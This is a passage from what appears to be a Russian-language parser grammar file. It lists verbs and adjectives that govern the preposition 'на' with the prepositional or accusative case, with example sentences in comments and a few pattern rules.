rus_verbs:промелькнуть{}, // промелькнуть на экране // прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории прилагательное:написанный{}, // слово, написанное на заборе rus_verbs:умещаться{}, // компьютер, умещающийся на ладони rus_verbs:открыть{}, // книга, открытая на последней странице rus_verbs:спать{}, // йог, спящий на гвоздях rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте rus_verbs:отобразиться{}, // удивление, отобразившееся на лице rus_verbs:увидеть{}, // на полу я увидел чьи-то следы rus_verbs:видеть{}, // на полу я вижу чьи-то следы rus_verbs:оставить{}, // Мел оставил на доске белый след. rus_verbs:оставлять{}, // Мел оставляет на доске белый след. rus_verbs:встречаться{}, // встречаться на лекциях rus_verbs:познакомиться{}, // познакомиться на занятиях rus_verbs:устроиться{}, // она устроилась на кровати rus_verbs:ложиться{}, // ложись на полу rus_verbs:останавливаться{}, // останавливаться на достигнутом rus_verbs:спотыкаться{}, // спотыкаться на ровном месте rus_verbs:распечатать{}, // распечатать на бумаге rus_verbs:распечатывать{}, // распечатывать на бумаге rus_verbs:просмотреть{}, // просмотреть на бумаге rus_verbs:закрепляться{}, // закрепляться на плацдарме rus_verbs:погреться{}, // погреться на солнышке rus_verbs:мешать{}, // Он мешал краски на палитре. rus_verbs:занять{}, // Он занял первое место на соревнованиях. rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках. деепричастие:женившись{ вид:соверш }, rus_verbs:везти{}, // Он везёт песок на тачке. прилагательное:казненный{}, // Он был казнён на электрическом стуле. rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче. rus_verbs:принести{}, // Официантка принесла нам обед на подносе. rus_verbs:переписать{}, // Перепишите эту рукопись на машинке. rus_verbs:идти{}, // Поезд идёт на малой скорости. rus_verbs:петь{}, // птички поют на рассвете rus_verbs:смотреть{}, // Смотри на обороте. rus_verbs:прибрать{}, // прибрать на столе rus_verbs:прибраться{}, // прибраться на столе rus_verbs:растить{}, // растить капусту на огороде rus_verbs:тащить{}, // тащить ребенка на руках rus_verbs:убирать{}, // убирать на столе rus_verbs:простыть{}, // Я простыл на морозе. rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе. rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках. rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге. rus_verbs:вскочить{}, // У него вскочил прыщ на носу. rus_verbs:свить{}, // У нас на балконе воробей свил гнездо. rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица. rus_verbs:восходить{}, // Солнце восходит на востоке. rus_verbs:блестеть{}, // Снег блестит на солнце. rus_verbs:побить{}, // Рысак побил всех лошадей на скачках. rus_verbs:литься{}, // Реки крови льются на войне. rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах. rus_verbs:клубиться{}, // Пыль клубится на дороге. инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке. // глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути // инфинитив:находиться{вид:несоверш}, rus_verbs:жить{}, // Было интересно жить на курорте. rus_verbs:повидать{}, // Он много повидал на своём веку. rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду. rus_verbs:расположиться{}, // Оба села расположились на берегу реки. rus_verbs:объясняться{}, // Они объясняются на иностранном языке. rus_verbs:прощаться{}, // Они долго прощались на вокзале. rus_verbs:работать{}, // Она работает на ткацкой фабрике. rus_verbs:купить{}, // Она купила молоко на рынке. rus_verbs:поместиться{}, // Все книги поместились на полке. глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике. rus_verbs:пожить{}, // Недолго она пожила на свете. rus_verbs:краснеть{}, // Небо краснеет на закате. rus_verbs:бывать{}, // На Волге бывает сильное волнение. rus_verbs:ехать{}, // Мы туда ехали на автобусе. rus_verbs:провести{}, // Мы провели месяц на даче. rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице. rus_verbs:расти{}, // Арбузы растут теперь не только на юге. ГЛ_ИНФ(сидеть), // три больших пса сидят на траве ГЛ_ИНФ(сесть), // три больших пса сели на траву ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль ГЛ_ИНФ(повезти), // я повезу тебя на машине ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси ГЛ_ИНФ(пить), // пить на кухне чай ГЛ_ИНФ(найти), // найти на острове ГЛ_ИНФ(быть), // на этих костях есть следы зубов ГЛ_ИНФ(высадиться), // помощники высадились на острове ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове ГЛ_ИНФ(случиться), // это случилось на опушке леса ГЛ_ИНФ(продать), ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу } #endregion VerbList // Чтобы разрешить связывание в паттернах типа: смотреть на youtube fact гл_предл { if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} } then return true } // локатив fact гл_предл { if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} } then return true } #endregion ПРЕДЛОЖНЫЙ #region ВИНИТЕЛЬНЫЙ // НА+винительный падеж: // ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ #region VerbList wordentry_set Гл_НА_Вин= { rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили. rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку. rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай. rus_verbs:умножить{}, // Умножьте это количество примерно на 10. //rus_verbs:умножать{}, rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу. rus_verbs:откатывать{}, rus_verbs:доносить{}, // Вот и побежали на вас доносить. rus_verbs:донести{}, rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали. безлич_глагол:хватит{}, // - На одну атаку хватит. rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты. rus_verbs:поскупиться{}, // Не поскупись на похвалы! rus_verbs:подыматься{}, rus_verbs:транспортироваться{}, rus_verbs:бахнуть{}, // Бахнуть стакан на пол rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ) rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ) rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ) rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ) rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ) rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ) rus_verbs:БРЫЗГАТЬ{}, rus_verbs:БРЫЗНУТЬ{}, rus_verbs:КАПНУТЬ{}, rus_verbs:КАПАТЬ{}, rus_verbs:ПОКАПАТЬ{}, rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ) rus_verbs:ОХОТИТЬСЯ{}, // rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ) rus_verbs:НАРВАТЬСЯ{}, // rus_verbs:НАТОЛКНУТЬСЯ{}, // rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ) прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ) rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ) rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ) rus_verbs:СТАЛКИВАТЬ{}, // rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ) rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ) rus_verbs:ПЕРЕБРОСИТЬ{}, // rus_verbs:НАБРАСЫВАТЬ{}, // rus_verbs:НАБРОСИТЬ{}, // rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. (СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ) rus_verbs:СВОРАЧИВАТЬ{}, // // rus_verbs:ПОВЕРНУТЬ{}, // rus_verbs:ПОВОРАЧИВАТЬ{}, // rus_verbs:наорать{}, rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ) rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ) rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ) rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое rus_verbs:перегонять{}, rus_verbs:выгонять{}, rus_verbs:выгнать{}, rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ) rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ) rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ) rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ) rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций rus_verbs:назначаться{}, // назначаться на пост rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин) rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА) // rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА) rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА) rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин) rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА) rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА) rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин) rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА) rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА) rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА) rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА) прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА) rus_verbs:посыпаться{}, // на Нину посыпались снежинки инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод. глагол:нарезаться{ вид:несоверш }, rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу rus_verbs:показать{}, // Вадим показал на Колю rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА) прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА) rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на) rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА) rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА) rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на) rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА) rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА) rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на) rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на) rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на) rus_verbs:прийтись{}, // Пятое число пришлось на субботу. rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на) rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на) rus_verbs:верить{}, // верить людям на слово (верить на слово) rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру. rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору. rus_verbs:пасть{}, // Жребий пал на меня. rus_verbs:ездить{}, // Вчера мы ездили на оперу. rus_verbs:влезть{}, // Мальчик влез на дерево. rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу. rus_verbs:разбиться{}, // окно разбилось на мелкие осколки rus_verbs:бежать{}, // я бегу на урок rus_verbs:сбегаться{}, // сбегаться на происшествие rus_verbs:присылать{}, // присылать на испытание rus_verbs:надавить{}, // надавить на педать rus_verbs:внести{}, // внести законопроект на рассмотрение rus_verbs:вносить{}, // вносить законопроект на рассмотрение rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек. rus_verbs:оглядываться{}, // оглядываться на девушек rus_verbs:расходиться{}, // расходиться на отдых rus_verbs:поскакать{}, // поскакать на службу rus_verbs:прыгать{}, // прыгать на сцену rus_verbs:приглашать{}, // приглашать на обед rus_verbs:рваться{}, // Кусок ткани рвется на части rus_verbs:понестись{}, // понестись на волю rus_verbs:распространяться{}, // распространяться на всех жителей штата инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, деепричастие:просыпавшись{}, деепричастие:просыпаясь{}, rus_verbs:заехать{}, // заехать на пандус rus_verbs:разобрать{}, // разобрать на составляющие rus_verbs:опускаться{}, // опускаться на колени rus_verbs:переехать{}, // переехать на конспиративную квартиру rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов rus_verbs:поместить{}, // поместить на поднос rus_verbs:отходить{}, // отходить на подготовленные позиции rus_verbs:сыпаться{}, // сыпаться на плечи rus_verbs:отвезти{}, // отвезти на занятия rus_verbs:накинуть{}, // накинуть на плечи rus_verbs:отлететь{}, // отлететь на пол rus_verbs:закинуть{}, // закинуть на чердак rus_verbs:зашипеть{}, // зашипеть на собаку rus_verbs:прогреметь{}, // прогреметь на всю страну rus_verbs:повалить{}, // повалить на стол rus_verbs:опереть{}, // опереть на фундамент rus_verbs:забросить{}, // забросить на антресоль rus_verbs:подействовать{}, // подействовать на материал rus_verbs:разделять{}, // разделять на части rus_verbs:прикрикнуть{}, // прикрикнуть на детей rus_verbs:разложить{}, // разложить на множители rus_verbs:провожать{}, // провожать на работу rus_verbs:катить{}, // катить на стройку rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью rus_verbs:сохранять{}, // сохранять на память rus_verbs:злиться{}, // злиться на друга rus_verbs:оборачиваться{}, // оборачиваться на свист rus_verbs:сползти{}, // сползти на землю rus_verbs:записывать{}, // записывать на ленту rus_verbs:загнать{}, // загнать на дерево rus_verbs:забормотать{}, // забормотать на ухо rus_verbs:протиснуться{}, // протиснуться на самый край rus_verbs:заторопиться{}, // заторопиться на вручение премии rus_verbs:гаркнуть{}, // гаркнуть на шалунов rus_verbs:навалиться{}, // навалиться на виновника всей толпой rus_verbs:проскользнуть{}, // проскользнуть на крышу дома rus_verbs:подтянуть{}, // подтянуть на палубу rus_verbs:скатиться{}, // скатиться на двойки rus_verbs:давить{}, // давить на жалость rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства rus_verbs:замахнуться{}, // замахнуться на святое rus_verbs:заменить{}, // заменить на свежую салфетку rus_verbs:свалить{}, // свалить на землю rus_verbs:стекать{}, // стекать на оголенные провода rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов rus_verbs:развалиться{}, // развалиться на части rus_verbs:сердиться{}, // сердиться на товарища rus_verbs:обронить{}, // обронить на пол rus_verbs:подсесть{}, // подсесть на наркоту rus_verbs:реагировать{}, // реагировать на импульсы rus_verbs:отпускать{}, // отпускать на волю rus_verbs:прогнать{}, // прогнать на рабочее место rus_verbs:ложить{}, // ложить на стол rus_verbs:рвать{}, // рвать на части rus_verbs:разлететься{}, // разлететься на кусочки rus_verbs:превышать{}, // превышать на существенную величину rus_verbs:сбиться{}, // сбиться на рысь rus_verbs:пристроиться{}, // пристроиться на хорошую работу rus_verbs:удрать{}, // удрать на пастбище rus_verbs:толкать{}, // толкать на преступление rus_verbs:посматривать{}, // посматривать на экран rus_verbs:набирать{}, // набирать на судно rus_verbs:отступать{}, // отступать на дерево rus_verbs:подуть{}, // подуть на молоко rus_verbs:плеснуть{}, // плеснуть на голову rus_verbs:соскользнуть{}, // соскользнуть на землю rus_verbs:затаить{}, // затаить на кого-то обиду rus_verbs:обижаться{}, // обижаться на Колю rus_verbs:смахнуть{}, // смахнуть на пол rus_verbs:застегнуть{}, // застегнуть на все пуговицы rus_verbs:спускать{}, // спускать на землю rus_verbs:греметь{}, // греметь на всю округу rus_verbs:скосить{}, // скосить на соседа глаз rus_verbs:отважиться{}, // отважиться на прыжок rus_verbs:литься{}, // литься на землю rus_verbs:порвать{}, // порвать на тряпки rus_verbs:проследовать{}, // проследовать на сцену rus_verbs:надевать{}, // надевать на голову rus_verbs:проскочить{}, // проскочить на красный свет rus_verbs:прилечь{}, // прилечь на диванчик rus_verbs:разделиться{}, // разделиться на небольшие группы rus_verbs:завыть{}, // завыть на луну rus_verbs:переносить{}, // переносить на другую машину rus_verbs:наговорить{}, // наговорить на сотню рублей rus_verbs:намекать{}, // намекать на новые обстоятельства rus_verbs:нападать{}, // нападать на охранников rus_verbs:убегать{}, // убегать на другое место rus_verbs:тратить{}, // тратить на развлечения rus_verbs:присаживаться{}, // присаживаться на корточки rus_verbs:переместиться{}, // переместиться на вторую линию rus_verbs:завалиться{}, // завалиться на диван rus_verbs:удалиться{}, // удалиться на покой rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов rus_verbs:обрушить{}, // обрушить на голову rus_verbs:резать{}, // резать на части rus_verbs:умчаться{}, // умчаться на юг rus_verbs:навернуться{}, // навернуться на камень rus_verbs:примчаться{}, // примчаться на матч rus_verbs:издавать{}, // издавать на собственные средства rus_verbs:переключить{}, // переключить на другой язык rus_verbs:отправлять{}, // отправлять на пенсию rus_verbs:залечь{}, // залечь на дно rus_verbs:установиться{}, // установиться на диск rus_verbs:направлять{}, // направлять на дополнительное обследование rus_verbs:разрезать{}, // разрезать на части rus_verbs:оскалиться{}, // оскалиться на прохожего rus_verbs:рычать{}, // рычать на пьяных rus_verbs:погружаться{}, // погружаться на дно rus_verbs:опираться{}, // опираться на костыли rus_verbs:поторопиться{}, // поторопиться на учебу rus_verbs:сдвинуться{}, // сдвинуться на сантиметр rus_verbs:увеличить{}, // увеличить на процент rus_verbs:опускать{}, // опускать на землю rus_verbs:созвать{}, // созвать на митинг rus_verbs:делить{}, // делить на части rus_verbs:пробиться{}, // пробиться на заключительную часть rus_verbs:простираться{}, // простираться на много миль rus_verbs:забить{}, // забить на учебу rus_verbs:переложить{}, // переложить на чужие плечи rus_verbs:грохнуться{}, // грохнуться на землю rus_verbs:прорваться{}, // прорваться на сцену rus_verbs:разлить{}, // разлить на землю rus_verbs:укладываться{}, // укладываться на ночевку rus_verbs:уволить{}, // уволить на пенсию rus_verbs:наносить{}, // наносить на кожу rus_verbs:набежать{}, // набежать на берег rus_verbs:заявиться{}, // заявиться на стрельбище rus_verbs:налиться{}, // налиться на крышку rus_verbs:надвигаться{}, // надвигаться на берег rus_verbs:распустить{}, // распустить на каникулы rus_verbs:переключиться{}, // переключиться на другую задачу rus_verbs:чихнуть{}, // чихнуть на окружающих rus_verbs:шлепнуться{}, // шлепнуться на спину rus_verbs:устанавливать{}, // устанавливать на крышу rus_verbs:устанавливаться{}, // устанавливаться на крышу rus_verbs:устраиваться{}, // устраиваться на работу rus_verbs:пропускать{}, // пропускать на стадион инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, деепричастие:сбегав{}, деепричастие:сбегая{}, rus_verbs:показываться{}, // показываться на глаза rus_verbs:прибегать{}, // прибегать на урок rus_verbs:съездить{}, // съездить на ферму rus_verbs:прославиться{}, // прославиться на всю страну rus_verbs:опрокинуться{}, // опрокинуться на спину rus_verbs:насыпать{}, // насыпать на землю rus_verbs:употреблять{}, // употреблять на корм скоту rus_verbs:пристроить{}, // пристроить на работу rus_verbs:заворчать{}, // заворчать на вошедшего rus_verbs:завязаться{}, // завязаться на поставщиков rus_verbs:сажать{}, // сажать на стул rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры rus_verbs:заменять{}, // заменять на исправную rus_verbs:нацепить{}, // нацепить на голову rus_verbs:сыпать{}, // сыпать на землю rus_verbs:закрываться{}, // закрываться на ремонт rus_verbs:распространиться{}, // распространиться на всю популяцию rus_verbs:поменять{}, // поменять на велосипед rus_verbs:пересесть{}, // пересесть на велосипеды rus_verbs:подоспеть{}, // подоспеть на разбор rus_verbs:шипеть{}, // шипеть на собак rus_verbs:поделить{}, // поделить на части rus_verbs:подлететь{}, // подлететь на расстояние выстрела rus_verbs:нажимать{}, // нажимать на все кнопки rus_verbs:распасться{}, // распасться на части rus_verbs:приволочь{}, // приволочь на диван rus_verbs:пожить{}, // пожить на один доллар rus_verbs:устремляться{}, // устремляться на свободу rus_verbs:смахивать{}, // смахивать на пол rus_verbs:забежать{}, // забежать на обед rus_verbs:увеличиться{}, // увеличиться на существенную величину rus_verbs:прокрасться{}, // прокрасться на склад rus_verbs:пущать{}, // пущать на постой rus_verbs:отклонить{}, // отклонить на несколько градусов rus_verbs:насмотреться{}, // насмотреться на безобразия rus_verbs:настроить{}, // настроить на короткие волны rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров rus_verbs:поменяться{}, // поменяться на другую книжку rus_verbs:расколоться{}, // расколоться на части rus_verbs:разлиться{}, // разлиться на землю rus_verbs:срываться{}, // срываться на жену rus_verbs:осудить{}, // осудить на пожизненное заключение rus_verbs:передвинуть{}, // передвинуть на первое место rus_verbs:допускаться{}, // допускаться на полигон rus_verbs:задвинуть{}, // задвинуть на полку rus_verbs:повлиять{}, // повлиять на оценку rus_verbs:отбавлять{}, // отбавлять на осмотр rus_verbs:сбрасывать{}, // сбрасывать на землю rus_verbs:накинуться{}, // накинуться на случайных прохожих rus_verbs:пролить{}, // пролить на кожу руки rus_verbs:затащить{}, // затащить на сеновал rus_verbs:перебежать{}, // перебежать на сторону противника rus_verbs:наливать{}, // наливать на скатерть rus_verbs:пролезть{}, // пролезть на сцену rus_verbs:откладывать{}, // откладывать на черный день rus_verbs:распадаться{}, // распадаться на небольшие фрагменты rus_verbs:перечислить{}, // перечислить на счет rus_verbs:закачаться{}, // закачаться на верхний уровень rus_verbs:накрениться{}, // накрениться на правый борт rus_verbs:подвинуться{}, // подвинуться на один уровень rus_verbs:разнести{}, // разнести на мелкие кусочки rus_verbs:зажить{}, // зажить на широкую ногу rus_verbs:оглохнуть{}, // оглохнуть на правое ухо rus_verbs:посетовать{}, // посетовать на бюрократизм rus_verbs:уводить{}, // уводить на осмотр rus_verbs:ускакать{}, // ускакать на забег rus_verbs:посветить{}, // посветить на стену rus_verbs:разрываться{}, // разрываться на части rus_verbs:побросать{}, // побросать на землю rus_verbs:карабкаться{}, // карабкаться на скалу rus_verbs:нахлынуть{}, // нахлынуть на кого-то rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки rus_verbs:среагировать{}, // среагировать на сигнал rus_verbs:претендовать{}, // претендовать на приз rus_verbs:дунуть{}, // дунуть на одуванчик rus_verbs:переводиться{}, // переводиться на другую работу rus_verbs:перевезти{}, // перевезти на другую площадку rus_verbs:топать{}, // топать на урок rus_verbs:относить{}, // относить на склад rus_verbs:сбивать{}, // сбивать на землю rus_verbs:укладывать{}, // укладывать на спину rus_verbs:укатить{}, // укатить на отдых rus_verbs:убирать{}, // убирать на полку rus_verbs:опасть{}, // опасть на землю rus_verbs:ронять{}, // ронять на снег rus_verbs:пялиться{}, // пялиться на тело rus_verbs:глазеть{}, // глазеть на тело rus_verbs:снижаться{}, // снижаться на безопасную высоту rus_verbs:запрыгнуть{}, // запрыгнуть на платформу rus_verbs:разбиваться{}, // разбиваться на главы rus_verbs:сгодиться{}, // сгодиться на фарш rus_verbs:перескочить{}, // перескочить на другую страницу rus_verbs:нацелиться{}, // нацелиться на главную добычу rus_verbs:заезжать{}, // заезжать на бордюр rus_verbs:забираться{}, // забираться на крышу rus_verbs:проорать{}, // проорать на всё село rus_verbs:сбежаться{}, // сбежаться на шум rus_verbs:сменять{}, // сменять на хлеб rus_verbs:мотать{}, // мотать на ус rus_verbs:раскалываться{}, // раскалываться на две половинки rus_verbs:коситься{}, // коситься на режиссёра rus_verbs:плевать{}, // плевать на законы rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение rus_verbs:наставить{}, // наставить на путь истинный rus_verbs:завывать{}, // завывать на Луну rus_verbs:опаздывать{}, // опаздывать на совещание rus_verbs:залюбоваться{}, // залюбоваться на пейзаж rus_verbs:повергнуть{}, // повергнуть на землю rus_verbs:надвинуть{}, // надвинуть на лоб rus_verbs:стекаться{}, // стекаться на площадь rus_verbs:обозлиться{}, // обозлиться на тренера rus_verbs:оттянуть{}, // оттянуть на себя rus_verbs:истратить{}, // истратить на дешевых шлюх rus_verbs:вышвырнуть{}, // вышвырнуть на улицу rus_verbs:затолкать{}, // затолкать на верхнюю полку rus_verbs:заскочить{}, // заскочить на огонек rus_verbs:проситься{}, // проситься на улицу rus_verbs:натыкаться{}, // натыкаться на борщевик rus_verbs:обрушиваться{}, // обрушиваться на митингующих rus_verbs:переписать{}, // переписать на чистовик rus_verbs:переноситься{}, // переноситься на другое устройство rus_verbs:напроситься{}, // напроситься на обидный ответ rus_verbs:натягивать{}, // натягивать на ноги rus_verbs:кидаться{}, // кидаться на прохожих rus_verbs:откликаться{}, // откликаться на призыв rus_verbs:поспевать{}, // поспевать на балет rus_verbs:обратиться{}, // обратиться на кафедру rus_verbs:полюбоваться{}, // полюбоваться на бюст rus_verbs:таращиться{}, // таращиться на мустангов rus_verbs:напороться{}, // напороться на колючки rus_verbs:раздать{}, // раздать на руки rus_verbs:дивиться{}, // дивиться на танцовщиц rus_verbs:назначать{}, // назначать на ответственнейший пост rus_verbs:кидать{}, // кидать на балкон rus_verbs:нахлобучить{}, // нахлобучить на башку rus_verbs:увлекать{}, // увлекать на луг rus_verbs:ругнуться{}, // ругнуться на животину rus_verbs:переселиться{}, // переселиться на хутор rus_verbs:разрывать{}, // разрывать на части rus_verbs:утащить{}, // утащить на дерево rus_verbs:наставлять{}, // наставлять на путь rus_verbs:соблазнить{}, // соблазнить на обмен rus_verbs:накладывать{}, // накладывать на рану rus_verbs:набрести{}, // набрести на грибную поляну rus_verbs:наведываться{}, // наведываться на прежнюю работу rus_verbs:погулять{}, // погулять на чужие деньги rus_verbs:уклоняться{}, // уклоняться на два градуса влево rus_verbs:слезать{}, // слезать на землю rus_verbs:клевать{}, // клевать на мотыля // rus_verbs:назначаться{}, // назначаться на пост rus_verbs:напялить{}, // напялить на голову rus_verbs:натянуться{}, // натянуться на рамку rus_verbs:разгневаться{}, // разгневаться на придворных rus_verbs:эмигрировать{}, // эмигрировать на Кипр rus_verbs:накатить{}, // накатить на основу rus_verbs:пригнать{}, // пригнать на пастбище rus_verbs:обречь{}, // обречь на мучения 